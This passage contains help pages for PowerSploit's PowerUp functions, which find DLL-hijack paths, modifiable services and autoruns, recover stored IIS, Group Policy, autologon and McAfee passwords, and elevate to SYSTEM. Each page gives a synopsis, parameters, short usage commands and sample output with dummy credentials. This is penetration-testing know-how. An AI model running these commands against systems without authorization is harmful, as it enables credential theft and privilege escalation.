Aliases: ServiceName

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### ServiceProcess.ServiceController

## NOTES

## RELATED LINKS

[https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/](https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/)



            

          

      

      

    

  

    
      
          
            
  # Enable-Privilege

## SYNOPSIS
Enables a specific privilege for the current process.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect

## SYNTAX

`
Enable-Privilege [-Privilege] <String[]>
`

## DESCRIPTION
Uses RtlAdjustPrivilege to enable a specific privilege for the current process.
Privileges can be passed by string, or the output from Get-ProcessTokenPrivilege
can be passed on the pipeline.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-ProcessTokenPrivilege
`


	Privilege                    Attributes                     ProcessId
	

———                    ———-                     ———




SeShutdownPrivilege                      DISABLED                          3620





	SeChangeNotifyPrivilege …AULT, SE_PRIVILEGE_ENABLED                          3620
	SeUndockPrivilege                      DISABLED                          3620







	SeIncreaseWorkingSetPrivilege                      DISABLED                          3620
	SeTimeZonePrivilege                      DISABLED                          3620





Enable-Privilege SeShutdownPrivilege

Get-ProcessTokenPrivilege




Privilege                    Attributes                     ProcessId
———                    ———-                     ———




SeShutdownPrivilege          SE_PRIVILEGE_ENABLED                          3620





	SeChangeNotifyPrivilege …AULT, SE_PRIVILEGE_ENABLED                          3620
	SeUndockPrivilege                      DISABLED                          3620









	SeIncreaseWorkingSetPrivilege                      DISABLED                          3620
	SeTimeZonePrivilege                      DISABLED                          3620





### ————————– EXAMPLE 2 ————————–
`
Get-ProcessTokenPrivilege
`

Privilege                                        Attributes                     ProcessId
———                                        ———-                     ———
SeShutdownPrivilege                                DISABLED                          2828
SeChangeNotifyPrivilege       …AULT, SE_PRIVILEGE_ENABLED                          2828
SeUndockPrivilege                                  DISABLED                          2828
SeIncreaseWorkingSetPrivilege                      DISABLED                          2828
SeTimeZonePrivilege                                DISABLED                          2828

Get-ProcessTokenPrivilege | Enable-Privilege -Verbose
VERBOSE: Attempting to enable SeShutdownPrivilege
VERBOSE: Attempting to enable SeChangeNotifyPrivilege
VERBOSE: Attempting to enable SeUndockPrivilege
VERBOSE: Attempting to enable SeIncreaseWorkingSetPrivilege
VERBOSE: Attempting to enable SeTimeZonePrivilege

Get-ProcessTokenPrivilege

Privilege                                        Attributes                     ProcessId
———                                        ———-                     ———
SeShutdownPrivilege                    SE_PRIVILEGE_ENABLED                          2828
SeChangeNotifyPrivilege       …AULT, SE_PRIVILEGE_ENABLED                          2828
SeUndockPrivilege                      SE_PRIVILEGE_ENABLED                          2828
SeIncreaseWorkingSetPrivilege          SE_PRIVILEGE_ENABLED                          2828
SeTimeZonePrivilege                    SE_PRIVILEGE_ENABLED                          2828

## PARAMETERS

### -Privilege
{{Fill Privilege Description}}

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: Privileges

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES

## RELATED LINKS

[http://forum.sysinternals.com/tip-easy-way-to-enable-privileges_topic15745.html](http://forum.sysinternals.com/tip-easy-way-to-enable-privileges_topic15745.html)



            

          

      

      

    

  

    
      
          
            
  # Find-PathDLLHijack

## SYNOPSIS
Finds all directories in the system %PATH% that are modifiable by the current user.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ModifiablePath

## SYNTAX

`
Find-PathDLLHijack
`

## DESCRIPTION
Enumerates the paths stored in Env:Path (%PATH) and filters each through Get-ModifiablePath
to return the folder paths the current user can write to.
On Windows 7, if wlbsctrl.dll is
written to one of these paths, execution for the IKEEXT can be hijacked due to DLL search
order loading.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Find-PathDLLHijack
`

Finds all %PATH% .DLL hijacking opportunities.

## PARAMETERS

## INPUTS

## OUTPUTS

### PowerUp.HijackableDLL.Path

## NOTES

## RELATED LINKS

[http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)



            

          

      

      

    

  

    
      
          
            
  # Find-ProcessDLLHijack

## SYNOPSIS
Finds all DLL hijack locations for currently running processes.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
Find-ProcessDLLHijack [[-Name] <String[]>] [-ExcludeWindows] [-ExcludeProgramFiles] [-ExcludeOwned]
`

## DESCRIPTION
Enumerates all currently running processes with Get-Process (or accepts an
input process object from Get-Process) and enumerates the loaded modules for each.
All loaded module name exists outside of the process binary base path, as those
are DLL load-order hijack candidates.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Find-ProcessDLLHijack
`

Finds possible hijackable DLL locations for all processes.

### ————————– EXAMPLE 2 ————————–
`
Get-Process VulnProcess | Find-ProcessDLLHijack
`

Finds possible hijackable DLL locations for the ‘VulnProcess’ processes.

### ————————– EXAMPLE 3 ————————–
`
Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles
`

Finds possible hijackable DLL locations not in C:Windows* and
not in C:Program Files* or C:Program Files (x86)*

### ————————– EXAMPLE 4 ————————–
`
Find-ProcessDLLHijack -ExcludeOwned
`

Finds possible hijackable DLL location for processes not owned by the
current user.

## PARAMETERS

### -Name
The name of a process to enumerate for possible DLL path hijack opportunities.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: ProcessName

Required: False
Position: 1
Default value: $(Get-Process | Select-Object -Expand Name)
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -ExcludeWindows
Exclude paths from C:Windows* instead of just C:WindowsSystem32*

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -ExcludeProgramFiles
Exclude paths from C:Program Files* and C:Program Files (x86)*

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -ExcludeOwned
Exclude processes the current user owns.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerUp.HijackableDLL.Process

## NOTES

## RELATED LINKS

[https://www.mandiant.com/blog/malware-persistence-windows-registry/](https://www.mandiant.com/blog/malware-persistence-windows-registry/)



            

          

      

      

    

  

    
      
          
            
  # Get-ApplicationHost

## SYNOPSIS
Recovers encrypted application pool and virtual directory passwords from the applicationHost.config on the system.

Author: Scott Sutherland
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
Get-ApplicationHost
`

## DESCRIPTION
This script will decrypt and recover application pool and virtual directory passwords
from the applicationHost.config file on the system.
The output supports the
pipeline which can be used to convert all of the results into a pretty table by piping
to format-table.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Return application pool and virtual directory passwords from the applicationHost.config on the system.
`

Get-ApplicationHost

user    : PoolUser1
pass    : PoolParty1!
type    : Application Pool
vdir    : NA
apppool : ApplicationPool1
user    : PoolUser2
pass    : PoolParty2!
type    : Application Pool
vdir    : NA
apppool : ApplicationPool2
user    : VdirUser1
pass    : VdirPassword1!
type    : Virtual Directory
vdir    : site1/vdir1/
apppool : NA
user    : VdirUser2
pass    : VdirPassword2!
type    : Virtual Directory
vdir    : site2/
apppool : NA

### ————————– EXAMPLE 2 ————————–
`
Return a list of cleartext and decrypted connect strings from web.config files.
`

Get-ApplicationHost | Format-Table -Autosize

user          pass               type              vdir         apppool
—-          —-               —-              —-         ——-
PoolUser1     PoolParty1!
Application Pool   NA           ApplicationPool1
PoolUser2     PoolParty2!
Application Pool   NA           ApplicationPool2
VdirUser1     VdirPassword1!
Virtual Directory  site1/vdir1/ NA
VdirUser2     VdirPassword2!
Virtual Directory  site2/       NA

## PARAMETERS

## INPUTS

## OUTPUTS

### System.Data.DataTable

System.Boolean

## NOTES
Author: Scott Sutherland - 2014, NetSPI
Version: Get-ApplicationHost v1.0
Comments: Should work on IIS 6 and Above

## RELATED LINKS

[https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
http://www.netspi.com
http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx](https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
http://www.netspi.com
http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx)



            

          

      

      

    

  

    
      
          
            
  # Get-CachedGPPPassword

## SYNOPSIS
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and
left in cached files on the host.

Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
Get-CachedGPPPassword
`

## DESCRIPTION
Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and
datasources.xml files and returns plaintext passwords.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-CachedGPPPassword
`

NewName   : [BLANK]
Changed   : {2013-04-25 18:36:07}
Passwords : {Super!!!Password}
UserNames : {SuperSecretBackdoor}
File      : C:ProgramDataMicrosoftGroup PolicyHistory{32C4C89F-7


C3A-4227-A61D-8EF72B5B9E42}MachinePreferencesGroupsGr
oups.xml




## PARAMETERS

## INPUTS

## OUTPUTS

## NOTES

## RELATED LINKS

[http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html](http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html)



            

          

      

      

    

  

    
      
          
            
  # Get-ModifiablePath

## SYNOPSIS
Parses a passed string containing multiple possible file/folder paths and returns
the file paths where the current user has modification rights.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
Get-ModifiablePath [-Path] <String[]> [-Literal]
`

## DESCRIPTION
Takes a complex path specification of an initial file/folder path with possible
configuration files, ‘tokenizes’ the string in a number of possible ways, and
enumerates the ACLs for each path that currently exists on the system.
Any path that
the current user has modification rights on is returned in a custom object that contains
the modifiable path, associated permission set, and the IdentityReference with the specified
rights.
The SID of the current user and any group he/she are a part of are used as the
comparison set against the parsed path DACLs.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
'"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath
`

Path                       Permissions                IdentityReference
—-                       ———–                —————–
C:Tempblah.exe           {ReadAttributes, ReadCo…
NT AUTHORITYAuthentic…
C:Tempconfig.ini         {ReadAttributes, ReadCo…
NT AUTHORITYAuthentic…

### ————————– EXAMPLE 2 ————————–
`
Get-ChildItem C:\Vuln\ -Recurse | Get-ModifiablePath
`

Path                       Permissions                IdentityReference
—-                       ———–                —————–
C:Vulnblah.bat           {ReadAttributes, ReadCo…
NT AUTHORITYAuthentic…
C:Vulnconfig.ini         {ReadAttributes, ReadCo…
NT AUTHORITYAuthentic…
…

## PARAMETERS

### -Path
The string path to parse for modifiable files.
Required

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: FullName

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Literal
Switch.
Treat all paths as literal (i.e.
don’t do ‘tokenization’).

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: LiteralPaths

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerUp.TokenPrivilege.ModifiablePath

Custom PSObject containing the Permissions, ModifiablePath, IdentityReference for
a modifiable path.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-ModifiableRegistryAutoRun

## SYNOPSIS
Returns any elevated system autoruns in which the current user can
modify part of the path string.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ModifiablePath

## SYNTAX

`
Get-ModifiableRegistryAutoRun
`

## DESCRIPTION
Enumerates a number of autorun specifications in HKLM and filters any
autoruns through Get-ModifiablePath, returning any file/config locations
in the found path strings that the current user can modify.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-ModifiableRegistryAutoRun
`

Return vulneable autorun binaries (or associated configs).

## PARAMETERS

## INPUTS

## OUTPUTS

### PowerUp.ModifiableRegistryAutoRun

Custom PSObject containing results.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-ModifiableScheduledTaskFile

## SYNOPSIS
Returns scheduled tasks where the current user can modify any file
in the associated task action string.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ModifiablePath

## SYNTAX

`
Get-ModifiableScheduledTaskFile
`

## DESCRIPTION
Enumerates all scheduled tasks by recursively listing “$($ENV:windir)System32Tasks”
and parses the XML specification for each task, extracting the command triggers.
Each trigger string is filtered through Get-ModifiablePath, returning any file/config
locations in the found path strings that the current user can modify.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-ModifiableScheduledTaskFile
`

Return scheduled tasks with modifiable command strings.

## PARAMETERS

## INPUTS

## OUTPUTS

### PowerUp.ModifiableScheduledTaskFile

Custom PSObject containing results.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-ModifiableService

## SYNOPSIS
Enumerates all services and returns services for which the current user can modify the binPath.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Test-ServiceDaclPermission, Get-ServiceDetail

## SYNTAX

`
Get-ModifiableService
`

## DESCRIPTION
Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if
the current user has rights to change the service configuration.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-ModifiableService
`

Get a set of potentially exploitable services.

## PARAMETERS

## INPUTS

## OUTPUTS

### PowerUp.ModifiablePath

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-ModifiableServiceFile

## SYNOPSIS
Enumerates all services and returns vulnerable service files.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Test-ServiceDaclPermission, Get-ModifiablePath

## SYNTAX

`
Get-ModifiableServiceFile
`

## DESCRIPTION
Enumerates all services by querying the WMI win32_service class.
For each service,
it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine
if the current user has rights to modify the service binary itself or any associated
arguments.
If the associated binary (or any configuration files) can be overwritten,
privileges may be able to be escalated.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-ModifiableServiceFile
`

Get a set of potentially exploitable service binares/config files.

## PARAMETERS

## INPUTS

## OUTPUTS

### PowerUp.ModifiablePath

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-ProcessTokenGroup

## SYNOPSIS
Returns all SIDs that the current token context is a part of, whether they are disabled or not.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Get-TokenInformation

## SYNTAX

`
Get-ProcessTokenGroup [[-Id] <UInt32>]
`

## DESCRIPTION
First, if a process ID is passed, then the process is opened using OpenProcess(),
otherwise GetCurrentProcess() is used to open up a pseudohandle to the current process.
OpenProcessToken() is then used to get a handle to the specified process token.
The token
is then passed to Get-TokenInformation to query the current token groups for the specified
token.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-ProcessTokenGroup
`

SID                                              Attributes                     ProcessId
—                                              ———-                     ———
S-1-5-21-890171859-3433809…
…_DEFAULT, SE_GROUP_ENABLED                          1372
S-1-1-0                       …_DEFAULT, SE_GROUP_ENABLED                          1372
S-1-5-32-544                     SE_GROUP_USE_FOR_DENY_ONLY                          1372
S-1-5-32-545                  …_DEFAULT, SE_GROUP_ENABLED                          1372
S-1-5-4                       …_DEFAULT, SE_GROUP_ENABLED                          1372
S-1-2-1                       …_DEFAULT, SE_GROUP_ENABLED                          1372
S-1-5-11                      …_DEFAULT, SE_GROUP_ENABLED                          1372
S-1-5-15                      …_DEFAULT, SE_GROUP_ENABLED                          1372
S-1-5-5-0-419601              …SE_GROUP_INTEGRITY_ENABLED                          1372
S-1-2-0                       …_DEFAULT, SE_GROUP_ENABLED                          1372
S-1-5-21-890171859-3433809…
…_DEFAULT, SE_GROUP_ENABLED                          1372
S-1-5-21-890171859-3433809…
…_DEFAULT, SE_GROUP_ENABLED                          1372
S-1-5-21-890171859-3433809…
…_DEFAULT, SE_GROUP_ENABLED                          1372
S-1-18-1                      …_DEFAULT, SE_GROUP_ENABLED                          1372
S-1-16-8192                                                                          1372

### ————————– EXAMPLE 2 ————————–
`
Get-Process notepad | Get-ProcessTokenGroup
`

SID                                              Attributes                     ProcessId
—                                              ———-                     ———
S-1-5-21-890171859-3433809…
…_DEFAULT, SE_GROUP_ENABLED                          2640
S-1-1-0                       …_DEFAULT, SE_GROUP_ENABLED                          2640
S-1-5-32-544                     SE_GROUP_USE_FOR_DENY_ONLY                          2640
S-1-5-32-545                  …_DEFAULT, SE_GROUP_ENABLED                          2640
S-1-5-4                       …_DEFAULT, SE_GROUP_ENABLED                          2640
S-1-2-1                       …_DEFAULT, SE_GROUP_ENABLED                          2640
S-1-5-11                      …_DEFAULT, SE_GROUP_ENABLED                          2640
S-1-5-15                      …_DEFAULT, SE_GROUP_ENABLED                          2640
S-1-5-5-0-419601              …SE_GROUP_INTEGRITY_ENABLED                          2640
S-1-2-0                       …_DEFAULT, SE_GROUP_ENABLED                          2640
S-1-5-21-890171859-3433809…
…_DEFAULT, SE_GROUP_ENABLED                          2640
S-1-5-21-890171859-3433809…
…_DEFAULT, SE_GROUP_ENABLED                          2640
S-1-5-21-890171859-3433809…
…_DEFAULT, SE_GROUP_ENABLED                          2640
S-1-18-1                      …_DEFAULT, SE_GROUP_ENABLED                          2640
S-1-16-8192                                                                          2640

## PARAMETERS

### -Id
The process ID to enumerate token groups for, otherwise defaults to the current process.

```yaml
Type: UInt32
Parameter Sets: (All)
Aliases: ProcessID

Required: False
Position: 1
Default value: 0
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerUp.TokenGroup

Outputs a custom object containing the token group (SID/attributes) for the specified token if
“-InformationClass ‘Groups’” is passed.

PowerUp.TokenPrivilege

Outputs a custom object containing the token privilege (name/attributes) for the specified token if
“-InformationClass ‘Privileges’” is passed

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-ProcessTokenPrivilege

## SYNOPSIS
Returns all privileges for the current (or specified) process ID.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Get-TokenInformation

## SYNTAX

`
Get-ProcessTokenPrivilege [[-Id] <UInt32>] [-Special]
`

## DESCRIPTION
First, if a process ID is passed, then the process is opened using OpenProcess(),
otherwise GetCurrentProcess() is used to open up a pseudohandle to the current process.
OpenProcessToken() is then used to get a handle to the specified process token.
The token
is then passed to Get-TokenInformation to query the current privileges for the specified
token.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-ProcessTokenPrivilege
`


	Privilege                    Attributes                     ProcessId
	

———                    ———-                     ———




SeShutdownPrivilege                      DISABLED                          2600





	SeChangeNotifyPrivilege …AULT, SE_PRIVILEGE_ENABLED                          2600
	SeUndockPrivilege                      DISABLED                          2600







	SeIncreaseWorkingSetPrivilege                      DISABLED                          2600
	SeTimeZonePrivilege                      DISABLED                          2600





### ————————– EXAMPLE 2 ————————–
`
Get-ProcessTokenPrivilege -Special
`

Privilege                                  Attributes                 ProcessId
———                                  ———-                 ———
SeSecurityPrivilege                          DISABLED                      2444
SeTakeOwnershipPrivilege                     DISABLED                      2444
SeBackupPrivilege                            DISABLED                      2444
SeRestorePrivilege                           DISABLED                      2444
SeSystemEnvironmentPriv…
DISABLED                      2444
SeImpersonatePrivilege     …T, SE_PRIVILEGE_ENABLED                      2444

### ————————– EXAMPLE 3 ————————–
`
Get-Process notepad | Get-ProcessTokenPrivilege | fl
`

Privilege  : SeShutdownPrivilege
Attributes : DISABLED
ProcessId  : 2640

Privilege  : SeChangeNotifyPrivilege
Attributes : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
ProcessId  : 2640

Privilege  : SeUndockPrivilege
Attributes : DISABLED
ProcessId  : 2640

Privilege  : SeIncreaseWorkingSetPrivilege
Attributes : DISABLED
ProcessId  : 2640

Privilege  : SeTimeZonePrivilege
Attributes : DISABLED
ProcessId  : 2640

## PARAMETERS

### -Id
The process ID to enumerate token groups for, otherwise defaults to the current process.

```yaml
Type: UInt32
Parameter Sets: (All)
Aliases: ProcessID

Required: False
Position: 1
Default value: 0
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Special
Switch.
Only return ‘special’ privileges, meaning admin-level privileges.
These include SeSecurityPrivilege, SeTakeOwnershipPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege,
SeRestorePrivilege, SeDebugPrivilege, SeSystemEnvironmentPrivilege, SeImpersonatePrivilege, SeTcbPrivilege.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: Privileged

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerUp.TokenGroup

Outputs a custom object containing the token group (SID/attributes) for the specified token if
“-InformationClass ‘Groups’” is passed.

PowerUp.TokenPrivilege

Outputs a custom object containing the token privilege (name/attributes) for the specified token if
“-InformationClass ‘Privileges’” is passed

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-RegistryAlwaysInstallElevated

## SYNOPSIS
Checks if any of the AlwaysInstallElevated registry keys are set.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
Get-RegistryAlwaysInstallElevated
`

## DESCRIPTION
Returns $True if the HKLM:SOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated
or the HKCU:SOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated keys
are set, $False otherwise.
If one of these keys are set, then all .MSI files run with
elevated permissions, regardless of current user permissions.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-RegistryAlwaysInstallElevated
`

Returns $True if any of the AlwaysInstallElevated registry keys are set.

## PARAMETERS

## INPUTS

## OUTPUTS

### System.Boolean

$True if RegistryAlwaysInstallElevated is set, $False otherwise.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-RegistryAutoLogon

## SYNOPSIS
Finds any autologon credentials left in the registry.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
Get-RegistryAutoLogon
`

## DESCRIPTION
Checks if any autologon accounts/credentials are set in a number of registry locations.
If they are, the credentials are extracted and returned as a custom PSObject.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-RegistryAutoLogon
`

Finds any autologon credentials left in the registry.

## PARAMETERS

## INPUTS

## OUTPUTS

### PowerUp.RegistryAutoLogon

Custom PSObject containing autologin credentials found in the registry.

## NOTES

## RELATED LINKS

[https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb)



            

          

      

      

    

  

    
      
          
            
  # Get-ServiceDetail

## SYNOPSIS
Returns detailed information about a specified service by querying the
WMI win32_service class for the specified service name.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
Get-ServiceDetail [-Name] <String[]>
`

## DESCRIPTION
Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on
the pipeline object returned by Get-Service, extracts out the service name, queries the
WMI win32_service class for the specified service for details like binPath, and outputs
everything.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-ServiceDetail -Name VulnSVC
`

Gets detailed information about the ‘VulnSVC’ service.

### ————————– EXAMPLE 2 ————————–
`
Get-Service VulnSVC | Get-ServiceDetail
`

Gets detailed information about the ‘VulnSVC’ service.

## PARAMETERS

### -Name
An array of one or more service names to query information for.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: ServiceName

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### System.Management.ManagementObject

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-SiteListPassword

## SYNOPSIS
Retrieves the plaintext passwords for found McAfee’s SiteList.xml files.
Based on Jerome Nokin (@funoverip)’s Python solution (in links).

Author: Jerome Nokin (@funoverip)
PowerShell Port: @harmj0y
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
Get-SiteListPassword [[-Path] <String[]>]
`

## DESCRIPTION
Searches for any McAfee SiteList.xml in C:Program Files, C:Program Files (x86),
C:Documents and Settings, or C:Users.
For any files found, the appropriate
credential fields are extracted and decrypted using the internal Get-DecryptedSitelistPassword
function that takes advantage of McAfee’s static key encryption.
Any decrypted credentials
are output in custom objects.
See links for more information.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-SiteListPassword
`

EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
UserName    :
Path        : Products/CommonUpdater
Name        : McAfeeHttp
DecPassword : MyStrongPassword!
Enabled     : 1
DomainName  :
Server      : update.nai.com:80

EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
UserName    : McAfeeService
Path        : Repository$
Name        : Paris
DecPassword : MyStrongPassword!
Enabled     : 1
DomainName  : companydomain
Server      : paris001

EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
UserName    : McAfeeService
Path        : Repository$
Name        : Tokyo
DecPassword : MyStrongPassword!
Enabled     : 1
DomainName  : companydomain
Server      : tokyo000

## PARAMETERS

### -Path
Optional path to a SiteList.xml file or folder.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerUp.SiteListPassword

## NOTES

## RELATED LINKS

[https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/
https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md
https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf](https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/
https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md
https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf)



            

          

      

      

    

  

    
      
          
            
  # Get-System

## SYNOPSIS
GetSystem functionality inspired by Meterpreter’s getsystem.
‘NamedPipe’ impersonation doesn’t need SeDebugPrivilege but does create
a service, ‘Token’ duplications a SYSTEM token but needs SeDebugPrivilege.
NOTE: if running PowerShell 2.0, start powershell.exe with ‘-STA’ to ensure
token duplication works correctly.

PowerSploit Function: Get-System
Author: @harmj0y, @mattifestation
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

### NamedPipe (Default)
`
Get-System [-Technique <String>] [-ServiceName <String>] [-PipeName <String>]
`

### Token
`
Get-System [-Technique <String>]
`

### RevToSelf
`
Get-System [-RevToSelf]
`

### WhoAmI
`
Get-System [-WhoAmI]
`

## DESCRIPTION
{{Fill in the Description}}

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-System
`

Uses named impersonate to elevate the current thread token to SYSTEM.

### ————————– EXAMPLE 2 ————————–
`
Get-System -ServiceName 'PrivescSvc' -PipeName 'secret'
`

Uses named impersonate to elevate the current thread token to SYSTEM
with a custom service and pipe name.

### ————————– EXAMPLE 3 ————————–
`
Get-System -Technique Token
`

Uses token duplication to elevate the current thread token to SYSTEM.

### ————————– EXAMPLE 4 ————————–
`
Get-System -WhoAmI
`

Displays the credentials for the current thread.

### ————————– EXAMPLE 5 ————————–
`
Get-System -RevToSelf
`

Reverts the current thread privileges.

## PARAMETERS

### -Technique
The technique to use, ‘NamedPipe’ or ‘Token’.

```yaml
Type: String
Parameter Sets: NamedPipe, Token
Aliases:

Required: False
Position: Named
Default value: NamedPipe
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServiceName
The name of the service used with named pipe impersonation, defaults to ‘TestSVC’.

```yaml
Type: String
Parameter Sets: NamedPipe
Aliases:

Required: False
Position: Named
